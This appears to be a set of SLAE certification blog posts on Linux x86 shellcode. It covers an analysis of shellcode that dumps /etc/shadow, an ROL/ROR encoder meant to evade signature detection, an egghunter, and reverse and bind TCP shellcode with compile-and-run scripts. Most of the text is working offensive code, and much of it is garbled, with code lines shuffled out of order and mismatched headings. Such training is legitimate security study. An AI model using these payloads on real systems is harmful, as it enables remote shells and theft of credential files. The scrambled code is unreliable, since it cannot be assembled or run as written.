ebx            0x804a07d  134520957

#define __NR_open 5
So we open a file, but which one?
(gdb) x/1s 0x804a07d
0x804a07d :    "/etc/shadow"
OK, so we open /etc/shadow. What about the next syscall?
next syscall
eax            0x3      3
ecx            0xffffd68c -10612
edx            0x1000   4096
ebx            0x3      3

#define __NR_read 3
ssize_t read(int fd, void *buf, size_t count);
Next, we read it into a buffer. What about the next syscall?
eax            0x4      4
ecx            0xffffd68c -10612
edx            0x46a    1130
ebx            0x1      1

#define __NR_write 4
ssize_t write(int fd, const void *buf, size_t count);    
And we write the output to the buffer.
root@myserver:/home/ubuntu# cat /etc/shadow | wc
31      31    1130
And see, the size of /etc/shadow is what was in edx.
Continuing.
root:$6$Pco//pem$d.I3/***********************************q1:16129:0:99999:7:::
daemon:*:16105:0:99999:7:::
bin:*:16105:0:99999:7:::
sys:*:16105:0:99999:7:::
sync:*:16105:0:99999:7:::
games:*:16105:0:99999:7:::
man:*:16105:0:99999:7:::
lp:*:16105:0:99999:7:::
And here we go, /etc/shadow printed in the exploit. That's all folks!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student-ID: SLAE - 607

Monday, January 5, 2015

4. ROR/ROL encoder

The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the fourth assignment, where I have to create a shellcode encoder (in any language) and a decoder (in assembly).


Encoding a shellcode has an advantage of evading signature detection. Although there are many 

Let's start with ROL (rotate left) encoding the /bin/sh shellcode with some Python magic.

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) encoded = "" encoded2 = "" print 'Encoded shellcode ...' max_bits = 8 offset = 1 for x in bytearray(shellcode): value = x newval = rol(value, offset, max_bits) #print("\\x%02x" % (value,offset, newval)) encoded += '\\x' encoded += '%02x' % newval encoded2 += '0x' encoded2 += '%02x,' % newval print encoded print encoded2 print 'Len: %d' % len(bytearray(shellcode))

And use the output in the ROR decoder shellcode:
global _start
section .text _start: jmp short call_decoder decoder: pop esi xor ecx, ecx mov cl, 25 ;25 byte is the shellcode size decode: ror byte [esi], 0x1 ;ror decode with 1 offset inc esi loop decode jmp short Shellcode call_decoder: call decoder Shellcode: db 0x62,0x81,0xa0,0xd0,0x5e,0x5e,0xe6,0xd0,0xd0,0x5e,0xc4,0xd2,0xdc,0x13,0xc7,0xa0,0x13,0xc5,0xa6,0x13,0xc3,0x61,0x16,0x9b,0x01 ;the rol encoded shellcode

And finally, the script to configure, build and run the shellcodes:
#!/bin/bash
echo 'Usage ./all_compile.sh source_file . E.g. ./all_compile.sh decoder where decoder.nasm is the source file' echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -melf_i386 -o $1 $1.o echo '[+] Dumping shellcode ...' echo '' > shellcode.asm for i in `objdump -d $1 | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" >> shellcode.asm; done echo '[+] Creating new shellcode.c ...' cat > shellcode.c <<EOF #include<stdio.h> #include<string.h> unsigned char code[] ="\\ EOF echo -n "\\" >> shellcode.c cat shellcode.asm >> shellcode.c cat >> shellcode.c <<EOF "; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } EOF echo '[+] Compiling shellcode.c ...' gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c echo '[+] Done! Run ./shellcode to execute!'

Let's see in dbg what happens. First we can see some ugly code (first red square).
But the second red square looks better.
Especially when we disassamble it.


Let's test this!

Happy shell! :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student-ID: SLAE - 607

Sunday, January 4, 2015

3. Egghunter shellcode

The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the third assignment, where I have to create an egghunter shellcode, where the pattern is configurable.


Usually during an exploit, there is not enough space for the shellcode. In order to solve this problem, one can split the shellcode into two parts. The first part includes the shellcode to be executed (which can't fit the space in the exploit), and the second part is the shellcode which can fit into the exploit, and start the original shellcode. But in order to start the shellcode, it has to be located in memory. The trick is that the shellcode to be executed starts with a magic string, duplicated, and the other shellcode searches for this string, twice. It has to be duplicated because otherwise the finder script could find itself.

Let's start with the /bin/sh shellcode

global _start
db "eGGheGGh" ;declare egghunter keyword
section .text _start:
; Pushing //bin/sh
xor eax, eax push eax
add esi, 0x22222222 ;push 0x68732f2f ;"sh//"
mov esi, 0x46510d0d ;decode /bin/sh mov dword [esp-4], esi
add esi, 0x22222112 ;push 0x6e69622f ;"nib/"
mov esi, 0x4c47411d ;decode /bin/sh mov dword [esp-8], esi sub esp, 8 ;align esp
int 0x80
mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp
mov al, 11

And the so called egg-hunter shellcode:
global _start
section .text
pop eax
_start: _next:
inc eax _isegg:
cmp dword [eax-0x8],0x68474765 ;start egg
jne _next cmp dword [eax-0x4],0x68474765 ;end egg
jmp eax ;execute our (not so tiny) shellcode
jne _next

And finally, the script to configure, build and run the shellcodes:
#!/bin/bash
echo 'Usage ./all_compile.sh source_file pattern E.g. ./all_compile.sh eggh shellcode patt where eggh.nasm is the source file'
patt=`echo -n $3| xxd -p|sed -r s/\([0-9a-f]{2}\)\([0-9a-f]{2}\)\([0-9a-f]{2}\)\([0-9a-f]{2}\)/\\\4\\\3\\\2\\\1/`
cp $1.nasm_ $1.nasm
echo pattern in reverse hex: $patt cp $1.nasm $1.nasm_orig sed s/0x68474765/0x$patt/g < $1.nasm > $1.nasm_ echo '[+] Assembling with Nasm ... '
for i in `objdump -d $1 | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" >> shellcode1.asm; done
nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -melf_i386 -o $1 $1.o echo '[+] Dumping shellcode ...' echo '' > shellcode.asm cp $2.nasm $2.nasm_orig
echo '[+] Dumping shellcode ...'
sed s/eGGh/$patt/g < $2.nasm > $2.nasm_ echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $2.o $2.nasm echo '[+] Linking ...' ld -melf_i386 -o $2 $2.o echo '' > shellcode.asm
#include<stdio.h>
for i in `objdump -d $2 | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" >> shellcode2.asm; done echo '[+] Creating new shellcode.c ...' cat > shellcode.c <<EOF #include<string.h> unsigned char egg_hunter[] ="\\ EOF #echo -n "\\" >> shellcode.c
printf("Length of shellcode is %d\n",strlen(code));
cat shellcode1.asm >> shellcode.c cat >> shellcode.c <<EOF "; unsigned char code[] ="\\ EOF #echo -n "\\" >> shellcode.c cat shellcode2.asm >> shellcode.c cat >> shellcode.c <<EOF "; main() { printf("Length of egg_hunter is %d\n",strlen(egg_hunter)); (*(void (*)()) egg_hunter)(); return 0; } EOF
echo '[+] Done! Run ./shellcode to execute!'
echo '[+] Compiling shellcode.c ...' gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c

Let's test this!

Happy shell! :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student-ID: SLAE - 607

2. Linux Shell Bind TCP Shellcode

The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the second assignment, where I have to create a shell reverse TCP shellcode, where the port and IP is configurable.


A simple C solution for this reverse shell TCP could be:

main(int argc, char **argv)
{
struct sockaddr_in server;
int sock;
int sockaddr_len = sizeof(struct sockaddr_in);
char *arguments[] = { '/bin/sh', 0 };
server.sin_family = AF_INET;
sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_port = htons(4444);
connect(sock, (struct sockaddr *)&server, sockaddr_len);
server.sin_addr.s_addr = inet_addr('127.0.0.1'); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
}
execve(arguments[0], &arguments[0], NULL);
And the Assembly code for this can be the following one. The /bin/sh string is encoded in the shellcode to evade detection:
global _start
section .text
global _start
xor ebx,ebx ;clear registers
_start: xor eax,eax
mov byte al,0x66 ;syscall for socket()
push ebx ;push 0 as first arg
inc ebx ;ebx to 1
push byte 0x2 ;push 0x2 as third arg
push ebx ;push 1 as second arg
int 0x80 ;socket syscall
mov ecx, esp ;save argument list to ecx xchg ebx,eax ;swap ebx eax
mov BYTE al, 0x3F
push byte 0x2 pop ecx ;pop 0x2 into ecx, counter my_loop:
jns my_loop
int 0x80 ;syscall dec ecx ;decrease counter
push word 2 ;2 for AF_INET
push 0x0100007f ;push first argument = IP push word 0xbabe ;push TCP port
push ecx ;(struct sockaddr *)&server
mov ecx,esp ;save argument list on stack push byte 0x10 ;sockaddr_len
mov al,102 ;socket call
push ebx ;socket descriptor mov ecx,esp ;save argument list to ecx int 0x80 ;syscall
mov esi, 0x4c47411d
xor eax,eax ;clear push eax mov esi, 0x46510d0d add esi, 0x22222222 ;push 0x68732f2f ;"sh//" mov dword [esp-4], esi
mov ebx,esp ;filename
add esi, 0x22222112 ;push 0x6e69622f ;"nib/" mov dword [esp-8], esi sub esp, 8 ;align esp push eax mov ecx,esp ;envp[] push ebx
mov edx,esp ;filename string terminator, edx is 00 mov al,11
int 0x80
Now that our shellcode is ready, let's wrap this with following nice script. It creates the elf file from the nasm source file, links it to an object file, dumps the shellcode with objdump, creates a new C file including the new shellcode, and compiles it. The nasm source code is modified on-the-file to include the correct port number. Change back the modified port number to 0xbabe and IP to 0x0100007f  if you want to change port or IP number again.

#!/bin/bash
echo 'Usage: ./all_compile.sh source_file IP portnumber. E.g. ./all_compile.sh reverse 127.0.0.1 12345 where reverse.nasm is the source file'
function atoi { #Returns the integer representation of an IP arg, passed in ascii dotted-decimal notation (x.x.x.x) IP=$1; IPNUM=0
res=$(atoi $2)
for (( i=0 ; i<4 ; ++i )); do ((IPNUM+=${IP%%.*}*$((256**$((3-${i})))))) IP=${IP#*.} done echo $IPNUM } cp $1.nasm $1.nasm_orig
sed s/0x0100007f/0x$ip/ < $1.nasm > $1.nasm_
ip=`printf '%08x\n' $res|sed -r s/\([0-9a-f]{2}\)\([0-9a-f]{2}\)\([0-9a-f]{2}\)\([0-9a-f]{2}\)/\\\4\\\3\\\2\\\1/` echo IP in reverse hex: $ip cp $1.nasm_ $1.nasm port=`printf '%04x\n' $3|sed -r s/\([0-9a-f][0-9a-f]\)\([0-9a-f][0-9a-f]\)/\\\2\\\1/`
echo '[+] Dumping shellcode ...'
echo Port in reverse hex: $port sed s/0xbabe/0x$port/ < $1.nasm > $1.nasm_ cp $1.nasm_ $1.nasm cat $1.nasm | grep 'push word 0x' echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -melf_i386 -o $1 $1.o echo '' > shellcode.asm
echo -n "\\" >> shellcode.c
for i in `objdump -d $1 | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" >> shellcode.asm; done echo '[+] Creating new shellcode.c ...' cat > shellcode.c <<EOF #include<stdio.h> #include<string.h> unsigned char code[] ="\\ EOF cat shellcode.asm >> shellcode.c cat >> shellcode.c <<EOF "; main() { printf("Shellcode Length: %d\n", strlen(code));
echo '[+] Done! Run ./shellcode to execute!'
int (*ret)() = (int(*)())code; ret(); } EOF echo '[+] Compiling shellcode.c ...' gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c

Let's test this.


Happy shell! :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE - 607

1. Linux Shell Bind TCP Shellcode


The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the first assignment, where I have to create a shell bind TCP shellcode, where the port is configurable.


A simple C solution for this bind shell TCP stack would be:

#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
        int clientfd, sockfd;
#include <netinet/in.h> int main(void) {
        int o = 1;
        int dstport = 4444;         struct sockaddr_in mysockaddr;
        mysockaddr.sin_family = AF_INET; //2
        sockfd = socket(AF_INET, SOCK_STREAM, 0);         mysockaddr.sin_port = htons(dstport);
        bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
        mysockaddr.sin_addr.s_addr = INADDR_ANY; //0         listen(sockfd, 0);         clientfd = accept(sockfd, NULL, NULL);
}
        dup2(clientfd, 0);         dup2(clientfd, 1);         dup2(clientfd, 2);         execve("/bin/sh", NULL, NULL);
        return 0;
And the Assembly code for this can be the following one. The /bin/sh string is encoded in the shellcode to evade detection:
global _start
section .text
xor ebx, ebx ;clear ebx
_start:
xor eax, eax ;clear eax
mov al, 0x66 ;syscall socketcall
push ebx ;tcp = 6
mov bl, 0x6 ;tcp = 6 sub bl, 0x5 ;ebx = 1; socket
mov ecx, esp ;move pointer to args to ecx
push ebx ;sock_stream push byte 0x2 ;af_inet int 0x80 ;socket()
mov al, 0x66 ;syscall socketcall
mov edi,eax ;int socketfd xor eax, eax ;clear eax mov bl, 0x2 ;2 for bind()
push word bx ;2 = af_inet
xor edx, edx ;clear edx push edx ;push 0x0 push word 0xbabe ;portno
push ecx ;const struct sockaddr *addr
mov ecx, esp ;pointer to args push byte 0x10 ;addrlen push edi ;sockfd from socket
mov bl, 0x4 ;4 listen
mov ecx, esp ;pointer to args int 0x80 ;go go go push byte 0x66 ;syscall socketcall pop eax push byte 0x1 ;backlog
xor edx, edx ;clear edx
push edi ;int sockfd mov ecx, esp ;pointer to args int 0x80 ;listen() push byte 0x66 ;syscall socketcall pop eax inc ebx ;5 accept
xor ecx, ecx ;clear counter
push edx ;0 push edx ;null push edi ;sockfd mov ecx, esp ;pointer to args int 0x80 ;accept xchg eax, ebx ;set ebx to sockfd
mov cl, 0x2 ;loop counter gotolabel: mov al, 0x3f ; int 0x80 ;syscall dec ecx ;decrement counter jns gotolabel ;loop if not null
mov esi, 0x4c47411d ;decode /bin/sh
xor eax, eax ;clear eax, again push eax ;push eax to stack mov esi, 0x46510d0d ;decode /bin/sh add esi, 0x22222222 ;push 0x68732f2f ;"sh//" mov dword [esp-4], esi
mov ecx, esp ;filename string terminator, ecx is 00
add esi, 0x22222112 ;push 0x6e69622f ;"nib/" mov dword [esp-8], esi sub esp, 8 ;align esp mov ebx, esp ;filename push eax mov edx, esp ;envp[] push ebx mov al, 0xb ;execve int 0x80 ;syscall execve
Now that our shellcode is ready, let's wrap this with following nice script. It creates the elf file from the nasm source file, links it to an object file, dumps the shellcode with objdump, creates a new C file including the new shellcode, and compiles it. The nasm source code is modified on-the-file to include the correct port number. Change back the modified port number to 0xbabe if you want to change port number again.

#!/bin/bash
echo 'Usage: ./all_compile.sh source_file portnumber. E.g. ./all_compile.sh bind 12345 where bind.nasm is the source file'
port=`printf '%04x\n' $2|sed -r s/\([0-9a-f][0-9a-f]\)\([0-9a-f][0-9a-f]\)/\\\2\\\1/` echo Port in hex: $port
echo '[+] Assembling with Nasm ... '
sed s/0xbabe/0x$port/ < $1.nasm > $1.nasm_ cp $1.nasm_ $1.nasm cat $1.nasm | grep 'push word 0x' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...'
for i in `objdump -d $1 | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" >> shellcode.asm; done
ld -melf_i386 -o $1 $1.o echo '[+] Dumping shellcode ...' echo '' > shellcode.asm echo '[+] Creating new shellcode.c ...' cat > shellcode.c <<EOF #include<stdio.h>
printf("Shellcode Length: %d\n", strlen(code));
#include<string.h> unsigned char code[] ="\\ EOF echo -n "\\" >> shellcode.c cat shellcode.asm >> shellcode.c cat >> shellcode.c <<EOF "; main() {
echo '[+] Done! Run ./shellcode to execute!'
int (*ret)() = (int(*)())code; ret(); } EOF echo '[+] Compiling shellcode.c ...' gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
Let's test this!
Happy shell! :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE - 607